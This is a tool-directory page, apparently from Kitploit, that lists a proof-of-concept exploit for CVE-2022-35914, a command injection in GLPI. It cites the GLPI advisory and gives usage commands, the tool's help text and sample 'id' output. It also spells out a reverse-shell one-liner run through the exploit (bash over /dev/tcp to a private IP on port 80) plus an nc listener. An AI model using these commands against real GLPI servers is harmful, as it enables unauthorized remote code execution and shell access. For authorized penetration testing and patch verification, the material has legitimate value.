Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-35914 — PoC exploit for GLPI - Command injection using a third-party library script | Kitploit
Tools/GitHubGitHub/senderend/cve-2022-35914
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubsenderend/cve-2022-35914

CVE-2022-35914

PoC exploit for GLPI - Command injection using a third-party library script

View Repository
431 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-35914 PoC

References

  • https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr
  • https://github.com/cosad3s/CVE-2022-35914-poc (Credit to Sébastien Copin for the PoC I adapted here)

Check out my full writeup here: https://link.medium.com/tBwDlpQl3Ib

Usage

root@kitploit:~
pip install -r requirements.txt
root@kitploit:~
python3 CVE-2022-35914.py -h
usage: CVE-2022-35914.py [-h] -u URL [-c CMD] [-f HOOK] [-b CALLBACK] [--check] [--user-agent USER_AGENT]

CVE-2022-35914 - GLPI - Command injection using a third-party library script

options:
  -h, --help                  show this help message and exit
  -u URL                      URL to test
  -c CMD                      Command to launch (default: id)
  -f HOOK                     PHP hook function (default: array_map)
  -b CALLBACK                 PHP callback function (default: system)
  --check                     Just check, no command execution.
  --user-agent USER_AGENT     Custom User-Agent

Example:

root@kitploit:~
python3 CVE-2022-35914.py -u http://glpi

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Revshell:

root@kitploit:~
python3 CVE-2022-35914.py -u http://192.168.249.242 -c 'bash -c "bash -i >& /dev/tcp/192.168.45.154/80 0>&1"'

nc -lvnp 80
Download Tool